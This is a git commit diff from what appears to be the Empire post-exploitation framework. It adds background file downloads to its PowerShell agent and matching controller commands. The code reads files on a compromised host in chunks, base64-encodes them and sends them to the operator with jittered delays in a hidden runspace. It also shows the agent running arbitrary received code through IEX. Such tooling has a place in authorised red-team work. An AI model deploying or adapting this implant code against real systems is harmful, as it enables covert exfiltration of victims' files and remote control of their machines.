Merge pull request #638 from EmpireProject/background_downloads

Background downloads
mdns
Chris Ross 2017-08-15 22:26:22 -04:00 committed by GitHub
commit 5acef7a560
4 changed files with 290 additions and 105 deletions

View File

@ -130,7 +130,7 @@ function Invoke-Empire {
# keep track of all background jobs
# format: {'RandomJobName' : @{'Alias'=$RandName; 'AppDomain'=$AppDomain; 'PSHost'=$PSHost; 'Job'=$Job; 'Buffer'=$Buffer}, ... }
$Script:Jobs = @{}
$Script:Downloads = @{}
# the currently imported script held in memory
$script:ImportedScript = ''
@ -389,6 +389,206 @@ function Invoke-Empire {
"`n"+($output | Format-Table -wrap | Out-String)
}
#Download file script block that will run in the background
$Download = @"
function Download-File {
param(`$Type,`$Path,`$ResultID,`$ChunkSize,`$Delay,`$Jitter)
`$Index = 0
do{
`$EncodedPart = Get-FilePart -File "`$Path" -Index `$Index -ChunkSize `$ChunkSize
if (`$EncodedPart) {
`$data = "{0}|{1}|{2}" -f `$Index,`$Path,`$EncodedPart
Encode-Packet -type `$Type -data `$(`$data) -ResultID `$ResultID
`$Index += 1
if (`$Delay -ne 0) {
`$min = [int]((1-`$Jitter)*`$Delay)
`$max = [int]((1+`$Jitter)*`$Delay)
if (`$min -eq `$max) {
`$sleepTime = `$min
}
else {
`$sleepTime = Get-Random -minimum `$min -maximum `$max;
}
Start-Sleep -s `$sleepTime;
}
}
[GC]::Collect()
} while(`$EncodedPart)
Encode-Packet -type 40 -data "[*] File download of `$Path completed" -ResultID `$ResultID
}
function Encode-Packet {
param([Int16]`$type, `$data, [Int16]`$ResultID=0)
<#
encode a packet for transport:
+------+--------------------+----------+---------+--------+-----------+
| Type | total # of packets | packet # | task ID | Length | task data |
+------+--------------------+--------------------+--------+-----------+
| 2 | 2 | 2 | 2 | 4 | <Length> |
+------+--------------------+----------+---------+--------+-----------+
#>
# in case we get a result array, make sure we join everything up
if (`$data -is [System.Array]) {
`$data = `$data -join "``n"
}
# convert data to base64 so we can support all encodings and handle on server side
`$data = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(`$data))
`$packet = New-Object Byte[] (12 + `$data.Length)
# packet type
([BitConverter]::GetBytes(`$type)).CopyTo(`$packet, 0)
# total number of packets
([BitConverter]::GetBytes([Int16]1)).CopyTo(`$packet, 2)
# packet number
([BitConverter]::GetBytes([Int16]1)).CopyTo(`$packet, 4)
# task/result ID
([BitConverter]::GetBytes(`$ResultID)).CopyTo(`$packet, 6)
# length
([BitConverter]::GetBytes(`$data.Length)).CopyTo(`$packet, 8)
([System.Text.Encoding]::UTF8.GetBytes(`$data)).CopyTo(`$packet, 12)
`$packet
}
function Get-FilePart {
Param(
[string] `$File,
[int] `$Index = 0,
`$ChunkSize = 512KB,
[switch] `$NoBase64
)
try {
`$f = Get-Item "`$File"
`$FileLength = `$f.length
`$FromFile = [io.file]::OpenRead(`$File)
if (`$FileLength -lt `$ChunkSize) {
if(`$Index -eq 0) {
`$buff = new-object byte[] `$FileLength
`$count = `$FromFile.Read(`$buff, 0, `$buff.Length)
if(`$NoBase64) {
`$buff
}
else{
[System.Convert]::ToBase64String(`$buff)
}
}
else{
`$Null
}
}
else{
`$buff = new-object byte[] `$ChunkSize
`$Start = `$Index * `$(`$ChunkSize)
`$null = `$FromFile.Seek(`$Start,0)
`$count = `$FromFile.Read(`$buff, 0, `$buff.Length)
if (`$count -gt 0) {
if(`$count -ne `$ChunkSize) {
# if we're on the last file chunk
# create a new array of the appropriate length
`$buff2 = new-object byte[] `$count
# and copy the relevant data into it
[array]::copy(`$buff, `$buff2, `$count)
if(`$NoBase64) {
`$buff2
}
else{
[System.Convert]::ToBase64String(`$buff2)
}
}
else{
if(`$NoBase64) {
`$buff
}
else{
[System.Convert]::ToBase64String(`$buff)
}
}
}
else{
`$Null;
}
}
}
catch{}
finally {
`$FromFile.Close()
}
}
"@
function Start-DownloadJob {
param($ScriptString, $type, $Path, $ResultID, $ChunkSize)
$RandName = Split-Path -Path $Path -Leaf
# create our new AppDomain
$AppDomain = [AppDomain]::CreateDomain($RandName)
# load the PowerShell dependency assemblies in the new runspace and instantiate a PS runspace
$PSHost = $AppDomain.Load([PSObject].Assembly.FullName).GetType('System.Management.Automation.PowerShell')::Create()
$ScriptString = "$ScriptString`n Download-File -Type $type -Path $Path -ResultID $ResultID -ChunkSize $ChunkSize -Delay $($script:AgentDelay) -Jitter $($script:AgentJitter)"
# add the target script into the new runspace/appdomain
$null = $PSHost.AddScript($ScriptString)
# stupid v2 compatibility...
$Buffer = New-Object 'System.Management.Automation.PSDataCollection[PSObject]'
$PSobjectCollectionType = [Type]'System.Management.Automation.PSDataCollection[PSObject]'
$BeginInvoke = ($PSHost.GetType().GetMethods() | ? { $_.Name -eq 'BeginInvoke' -and $_.GetParameters().Count -eq 2 }).MakeGenericMethod(@([PSObject], [PSObject]))
# kick off asynchronous execution
$Job = $BeginInvoke.Invoke($PSHost, @(($Buffer -as $PSobjectCollectionType), ($Buffer -as $PSobjectCollectionType)))
$Script:Downloads[$RandName] = @{'Alias'=$RandName; 'AppDomain'=$AppDomain; 'PSHost'=$PSHost; 'Job'=$Job; 'Buffer'=$Buffer}
$RandName
}
# returns $True if the specified job is completed, $False otherwise
function Get-DownloadJobCompleted {
param($JobName)
if($Script:Downloads.ContainsKey($JobName)) {
$Script:Downloads[$JobName]['Job'].IsCompleted
}
}
# reads any data from the output buffer preserved for the specified job
function Receive-DownloadJob {
param($JobName)
if($Script:Downloads.ContainsKey($JobName)) {
$Script:Downloads[$JobName]['Buffer'].ReadAll()
}
}
# stops the specified agent job (wildcards accepted), returns any job results,
# tear down the appdomain, and remove the job from the internal cache
function Stop-DownloadJob {
param($JobName)
if($Script:Downloads.ContainsKey($JobName)) {
# kill the PS host
$Null = $Script:Downloads[$JobName]['PSHost'].Stop()
# get results
$Script:Downloads[$JobName]['Buffer'].ReadAll()
# unload the app domain runner
$Null = [AppDomain]::Unload($Script:Downloads[$JobName]['AppDomain'])
$Script:Downloads.Remove($JobName)
}
}
# takes a string representing a PowerShell script to run, build a new
# AppDomain and PowerShell runspace, and kick off the execution in the
# new runspace/AppDomain asynchronously, storing the results in $Script:Jobs.
@ -478,77 +678,6 @@ function Invoke-Empire {
# get a binary part of a file based on $Index and $ChunkSize
# and return a base64 encoding of that file part (by default)
# used by download functionality for large file
function Get-FilePart {
Param(
[string] $File,
[int] $Index = 0,
$ChunkSize = 512KB,
[switch] $NoBase64
)
try {
$f = Get-Item "$File"
$FileLength = $f.length
$FromFile = [io.file]::OpenRead($File)
if ($FileLength -lt $ChunkSize) {
if($Index -eq 0) {
$buff = new-object byte[] $FileLength
$count = $FromFile.Read($buff, 0, $buff.Length)
if($NoBase64) {
$buff
}
else{
[System.Convert]::ToBase64String($buff)
}
}
else{
$Null
}
}
else{
$buff = new-object byte[] $ChunkSize
$Start = $Index * $($ChunkSize)
$null = $FromFile.Seek($Start,0)
$count = $FromFile.Read($buff, 0, $buff.Length)
if ($count -gt 0) {
if($count -ne $ChunkSize) {
# if we're on the last file chunk
# create a new array of the appropriate length
$buff2 = new-object byte[] $count
# and copy the relevant data into it
[array]::copy($buff, $buff2, $count)
if($NoBase64) {
$buff2
}
else{
[System.Convert]::ToBase64String($buff2)
}
}
else{
if($NoBase64) {
$buff
}
else{
[System.Convert]::ToBase64String($buff)
}
}
}
else{
$Null;
}
}
}
catch{}
finally {
$FromFile.Close()
}
}
############################################################
@ -793,8 +922,9 @@ function Invoke-Empire {
}
# file download
elseif($type -eq 41) {
try {
$ChunkSize = 512KB
$ChunkSize = 128KB
$Parts = $Data.Split(" ")
@ -823,41 +953,16 @@ function Invoke-Empire {
if($ChunkSize -lt 64KB) {
$ChunkSize = 64KB
}
elseif($ChunkSize -gt 8MB) {
$ChunkSize = 8MB
elseif($ChunkSize -gt 4MB) {
$ChunkSize = 4MB
}
# resolve the complete path
$Path = Get-Childitem $Path | ForEach-Object {$_.FullName}
# read in and send the specified chunk size back for as long as the file has more parts
$Index = 0
do{
$EncodedPart = Get-FilePart -File "$path" -Index $Index -ChunkSize $ChunkSize
if($EncodedPart) {
$data = "{0}|{1}|{2}" -f $Index, $path, $EncodedPart
Send-Message -Packets $(Encode-Packet -type $type -data $($data) -ResultID $ResultID)
$Index += 1
# if there are more parts of the file, sleep for the specified interval
if ($script:AgentDelay -ne 0) {
$min = [int]((1-$script:AgentJitter)*$script:AgentDelay)
$max = [int]((1+$script:AgentJitter)*$script:AgentDelay)
if ($min -eq $max) {
$sleepTime = $min
}
else{
$sleepTime = Get-Random -minimum $min -maximum $max;
}
Start-Sleep -s $sleepTime;
}
}
[GC]::Collect()
} while($EncodedPart)
Encode-Packet -type 40 -data "[*] File download of $path completed" -ResultID $ResultID
$jobID = Start-DownloadJob -ScriptString $Download -type $type -Path $Path -ResultID $ResultID -ChunkSize $ChunkSize
}
catch {
Encode-Packet -type 0 -data '[!] File does not exist or cannot be accessed' -ResultID $ResultID
@ -881,8 +986,8 @@ function Invoke-Empire {
# return the currently running jobs
elseif($type -eq 50) {
$RunningJobs = $Script:Jobs.Keys -join "`n"
Encode-Packet -data ("Running Jobs:`n$RunningJobs") -type $type -ResultID $ResultID
$Downloads = $Script:Jobs.Keys -join "`n"
Encode-Packet -data ("Running Jobs:`n$Downloads") -type $type -ResultID $ResultID
}
# stop and remove a specific job if it's running
@ -903,6 +1008,27 @@ function Invoke-Empire {
}
}
#return downloads
elseif($type -eq 52) {
$RunningDownloads = $Script:Downloads.Keys -join "`n"
Encode-Packet -data ("Downloads:`n$RunningDownloads") -type $type -ResultID $ResultID
}
#Cancel a download
elseif($type -eq 53) {
$JobName = $data
$JobResultID = $ResultIDs[$JobName]
try {
$Results = Stop-DownloadJob -JobName $JobName
Encode-Packet -type 53 -data "Download of $JobName stopped" -ResultID $JobResultID
}
catch {
Encode-Packet -type 0 -data "[!] Error in stopping Download: $JobName" -ResultID $JobResultID
}
}
# dynamic code execution, wait for output, don't save output
elseif($type -eq 100) {
$ResultData = IEX $data
@ -1036,6 +1162,13 @@ function Invoke-Empire {
$script:ResultIDs.Remove($JobName)
}
ForEach($JobName in $Script:Downloads.Keys) {
$Results = Stop-DownloadJob -JobName $JobName
$JobResultID = $script:ResultIDs[$JobName]
$Packets += $Results
$script:ResultIDs.Remove($JobName)
}
# send job results back if there are any
if ($Packets) {
Send-Message -Packets $Packets
@ -1118,6 +1251,25 @@ function Invoke-Empire {
}
}
ForEach($JobName in $Script:Downloads.Keys) {
$JobResultID = $script:ResultIDs[$JobName]
# check if the job is still running
if(Get-DownloadJobCompleted -JobName $JobName) {
# the job has stopped, so receive results/cleanup
$Results = Stop-DownloadJob -JobName $JobName
}
else {
$Results = Receive-DownloadJob -JobName $JobName
}
if($Results) {
$JobResults += $Results
}
}
if ($JobResults) {
Send-Message -Packets $JobResults
}

View File

@ -230,7 +230,7 @@ class Agents:
parts
# construct the appropriate save path
save_path = "%sdownloads/%s%s" % (self.installPath, sessionID, "/".join(parts[0:-1]))
save_path = "%sdownloads/%s/%s" % (self.installPath, sessionID, "/".join(parts[0:-1]))
filename = os.path.basename(parts[-1])
try:
@ -1608,6 +1608,19 @@ class Agents:
msg = "file download: %s, part: %s" % (path, index)
self.save_agent_log(sessionID, msg)
elif responseName == "TASK_GETDOWNLOADS":
if not data or data.strip().strip() == "":
data = "[*] No active downloads"
self.update_agent_results_db(sessionID, data)
#update the agent log
self.save_agent_log(sessionID, data)
elif responseName == "TASK_STOPDOWNLOAD":
# download kill response
self.update_agent_results_db(sessionID, data)
#update the agent log
self.save_agent_log(sessionID, data)
elif responseName == "TASK_UPLOAD":
pass

View File

@ -1606,6 +1606,23 @@ class PowerShellAgentMenu(cmd.Cmd):
# update the agent log
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to stop job " + str(jobID))
def do_downloads(self, line):
"Return downloads or kill a download job"
parts = line.split(' ')
if len(parts) == 1:
if parts[0] == '':
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_GETDOWNLOADS")
#update the agent log
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get downloads")
else:
print helpers.color("[!] Please use for m 'downloads kill DOWNLOAD_ID'")
elif len(parts) == 2:
jobID = parts[1].strip()
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_STOPDOWNLOAD", jobID)
#update the agent log
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to stop download " + str(jobID))
def do_sleep(self, line):
"Task an agent to 'sleep interval [jitter]'"

View File

@ -98,6 +98,9 @@ PACKET_NAMES = {
"TASK_GETJOBS" : 50,
"TASK_STOPJOB" : 51,
"TASK_GETDOWNLOADS" : 52,
"TASK_STOPDOWNLOAD" : 53,
"TASK_CMD_WAIT" : 100,
"TASK_CMD_WAIT_SAVE" : 101,
"TASK_CMD_JOB" : 110,